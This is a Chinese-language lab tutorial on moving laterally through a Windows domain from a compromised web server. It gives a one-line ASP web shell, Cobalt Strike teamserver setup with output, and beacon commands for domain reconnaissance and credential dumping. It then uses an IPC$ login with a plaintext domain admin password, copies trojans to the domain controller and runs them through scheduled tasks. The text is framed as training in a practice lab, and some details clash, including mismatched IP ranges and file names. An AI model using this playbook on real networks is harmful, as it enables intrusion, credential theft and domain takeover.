目录
- 一、概念
- 二、环境说明
-
- 1、DC
- 2、WebServer
- [3、SQL Server](#3、SQL Server)
- 4、FileServer
- 5、Marry
- 6、Jack
- 三、内网横向移动
一、概念
-
横向移动
指攻击者从已控制主机,跳转迁移到内网其他主机的攻击行为。攻入内网后,以沦陷主机为跳板,探测内网存活资产、锁定目标,依托内网代理和窃取的账号凭据,通过各类远程控制技术渗透拿下更多设备,最终窃取机密数据、掌控内网关键资产。
-
网络结构解读
Web 服务器是唯一外网出口,仅它可访问外网;内网其他主机仅能域内互通、无法联网,且所有域内主机均由域控 DC 统一管理。
-
渗透目标
已通过 Web 渗透拿下 Webserver 权限,以此机为唯一跳板进行内网横向移动,最终获取域控权限。
-
演示约束
所有工具上传、脚本运行仅在 Webserver 上操作,不触碰其他内网主机。

二、环境说明
注意:①主机的开启顺序一定为DC、WebServer、FileServer或SQL Server、Mary或Jack。②环境在资源"内网环境文件(5台Vmware虚拟机环境)"中获取。
1、DC
| 名称 | 值 |
|---|---|
| 操作系统 | Windows Server 2008 |
| IP地址 | 102.168.179.21 |

2、WebServer
| 名称 | 值 |
|---|---|
| 操作系统 | Windows Server 2008 |
| IP地址 | 102.168.179.31 |

3、SQL Server
| 名称 | 值 |
|---|---|
| 操作系统 | Windows Server 2012 |
| IP地址 | 102.168.179.32 |

4、FileServer
| 名称 | 值 |
|---|---|
| 操作系统 | Windows Server 2003 |
| IP地址 | 102.168.179.30 |

5、Marry
| 名称 | 值 |
|---|---|
| 操作系统 | Windows 7 |
| IP地址 | 102.168.179.25 |

6、Jack
| 名称 | 值 |
|---|---|
| 操作系统 | Windows 8.1 |
| IP地址 | 102.168.179.29 |

三、内网横向移动
1、上传木马并在CS中上线
Step1 :在WebServer的IIS中添加1.asp文件,用于后续的WebShell。
新建ASP脚本:
bash
# 文件名为1.asp
<% eval request("test") %>
备注:此处默认站点中存在漏洞被攻击者利用并上传了WebShell。
Step2:启动CS的Server端和Client端
Server端(Kali机中运行):
bash
$ cd /home/kali/tools/CS4.8 #切换到我们上传的CS4.8⽬录中
$ cd server #切换到server⽬录
#赋予服务端运⾏权限
$ chmod +x teamserver
$ chmod +x TeamServerImage
$ sudo ./teamserver 192.168.179.128 test #启动teamserver(服务端)IP地址为kali的地址,test为连接密码
[sudo] password for kali:
[*] Generating X509 certificate and keystore (for SSL)
Generating 3,072 bit RSA key pair and self-signed certificate (SHA384withRSA) with a validity of 90 days
for: CN=Major Cobalt Strike, OU=AdvancedPenTesting, O=cobaltstrike, L=Somewhere, ST=Cyberspace, C=Earth
[*] Starting teamserver
[*] Team Server Version: 4.8 (Pwn3rs)
[*] Setting 'https.protocols' system property: SSLv3,SSLv2Hello,TLSv1,TLSv1.1,TLSv1.2,TLSv1.3
[*] Loading keystrokes.
[*] Loaded 0 keystrokes.
[*] Loading screenshots.
[*] Loaded 0 screenshots.
[*] Loading downloads.
[*] Loaded 0 downloads.
[*] Loading Windows error codes.
[*] Windows error codes loaded
[*] Loading hosted files
[*] Loaded 0 servers with hosted items
[*] Loading beacons
[*] Loaded 0 beacons
[+] Team server is up on 0.0.0.0:50050 # 默认端⼝是50050,且无地址限制
[*] SHA256 hash of SSL cert is: 44bc7fd1d9706b82bd047a8d1503d
Client端(Windows端运行):

用户名可任意设置。确认密码、IP和端口无误后单击"Connect"按钮。

Step2 :使用CS生成木马,通过webshell管理工具蚁剑上传到WebServer(网站服务器)运行上线

新增连接配置。名为NAT_1。

将其进行保存并取消x64位的勾选。

将保存好的文件(cs_1.exe)通过蚁剑上传至WebServer。

在中运行了cs_1.exe后,在CS中成功上线了。

2、信息收集
Step1 :进入"会话交互",输入命令判断是否为域环境

bash
beacon> shell net time /domain

Step2:获取当前域环境后,ping域名即得域控IP地址
bash
beacon> shell ping OWA2010CN-God.god.org -4

Step3:执行命令收集域内用户信息
bash
beacon> shell net user /domain

Step4:打开目标列表

Step5 :右击 → 浏览探测 → 端口扫描


Step6:抓取Hash
抓取之前需要提升权限。
提升权限

抓取Hash

Step7 :打开"密码凭证"

从图中可以看出,密码已成功获取!抓取到账号密码信息之后,接下来开始横向移动。
已上线主机仅属可出网的10.0.0.0/24网段,端口扫描发现其含不可出网的192.168.3.0/24内网段;目标为该内网段主机,可通过CS的ipc命令横向移动(涉及正/反向连接)。
3、IPC正向连接
Step1 :CS创建正向连接监听器

监听器可以自定义添加。

Step2 :利用此监听器生成木马并保存为4444.exe文件。

Step3:建立IPC连接(两种方法任选)
IPC即进程间通信,是操作系统中不同进程数据交换、协同的技术,可通过共享内存、管道、套接字等方式实现。其网络连接建立后可访问远程主机资源(如查目录、传文件、创计划任务/服务),实战中常用。
之前抓取Hash或者获取密码凭证得到的密码。

得到域控主机IP



方法一:输入命令建立连接
bash
# 使用CS调动ipc的方式输入账号密码和目标机器建立连接(账号密码在信息收集凭据信息时可以获取)
beacon> shell net use \\192.168.179.21\ipc$ "Admin12345" /user:god.org\administrator

方法二:利用插件建立连接

输入域控的IP,用户名和密码。


内容扩展:

出现类似的"不允许一个用户使用一个以上用户名与服务器..."的提示时,需要清除连接后才能使用,命令如下:
bash
beacon> shell net use \\192.168.179.21 /del
Step4 :CS借助提权得到的system会话,通过文件管理功能将4444.exe木马上传至当前主机。

Step5:使用命令将上传的4444.exe木马复制到目标机器
bash
#利用IPC建立的连接,使用copy命令将当前受控机的木马复制到目标主机的c盘下
beacon> shell copy 4444.exe \\192.168.179.21\c$

此时木马已成功传入了域控制器。

Step6:查看当前时间,然后创建计划任务运行4444.exe木马
针对Windows2012版本之前的操作系统可以使用at命令:
bash
# 查看当前时间:
beacon> shell net time
# 使用at命令创建计划任务:(时间需要根据实际情况去设置)
beacon> shell at \\192.168.179.21 <小时:分钟> c:\4444.exe

针对Windows2012及以后版本的操作系统使用schtasks命令:
bash
beacon> schtasks /create /s 192.168.179.21 /ru "SYSTEM" /tn beacon /sc DAILY /tr c:\4444.exe/F
Step7:连接域控主机并让木马上线
bash
beacon> connect 192.168.179.21 4444

从图中看出,4444.exe木马成功上线,实现了横向移动。
4、IPC反向连接
Step1:CS中在提权的会话中,选择"代理转发"、"转发上线"模块

注意:反向连接时,目标机器需连接当前受控主机的内网IP(因处于内网环境)。
Step2:生成一个木马(5555.exe)并上传到已被控制的主机WebServer(192.168.179.31)


Step3:CS借助提权system会话,通过文件管理将5555.exe木马上传至当前主机

Step4:此时建立IPC连接的过程与IPC正向连接的方法二类似(步骤省略)
Step5:使用命令将上传的5555.exe木马复制到目标机器
bash
#利用IPC建立的连接,使用copy命令将当前受控机的木马复制到目标主机的c盘下
beacon> shell copy 5555.exe \\192.168.179.21\c$
Step6:查看当前时间,然后创建计划任务运行4444.exe木马
bash
# 查看当前时间:
beacon> shell net time
# 使用at命令创建计划任务:(时间需要根据实际情况去设置)
beacon> shell at \\192.168.179.21 <小时:分钟> c:\5555.exe

